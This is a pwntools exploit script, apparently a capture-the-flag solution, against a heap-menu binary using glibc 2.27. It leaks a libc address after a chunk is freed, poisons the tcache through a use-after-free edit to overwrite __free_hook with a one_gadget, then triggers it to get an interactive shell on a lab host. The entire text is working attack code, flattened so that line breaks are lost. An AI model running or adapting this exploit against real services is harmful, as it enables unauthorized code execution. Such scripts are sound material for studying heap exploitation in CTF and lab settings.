1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1 if debug: r = remote('192.168.17.148', 8888) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def add(index, size, content): r.sendlineafter(b'5.exit', b'1') r.sendlineafter(b'index?', str(index)) r.sendlineafter(b'size?', str(size)) r.sendafter(b'talk?', content)
def edit(index, content): r.sendlineafter(b'5.exit', b'3') r.sendlineafter(b'index?', str(index)) r.sendafter(b'write?', content)
def show(index): r.sendlineafter(b'5.exit', b'4') r.sendlineafter(b'index?', str(index))
def delete(index): r.sendlineafter(b'5.exit', b'2') r.sendlineafter(b'index?', str(index))
add(0, 0x410, b'a') add(1, 0x10, b'a') delete(0) show(0)
libc = ELF('./x86_64-linux-gnu/libc-2.27.so') libc_base = u64(r.recvuntil('\n1.')[:-3][-6:].ljust(8, b'\x00')) - 0x3ebca0
one = [0x4f2a5, 0x4f302, 0x4f302] ogg = one[1] + libc_base free_hook = libc_base + libc.sym['__free_hook']
delete(1)
edit(1, p64(free_hook)) add(2, 0x10, p64(ogg)) add(3, 0x10, p64(ogg))
delete(2)
r.interactive()
|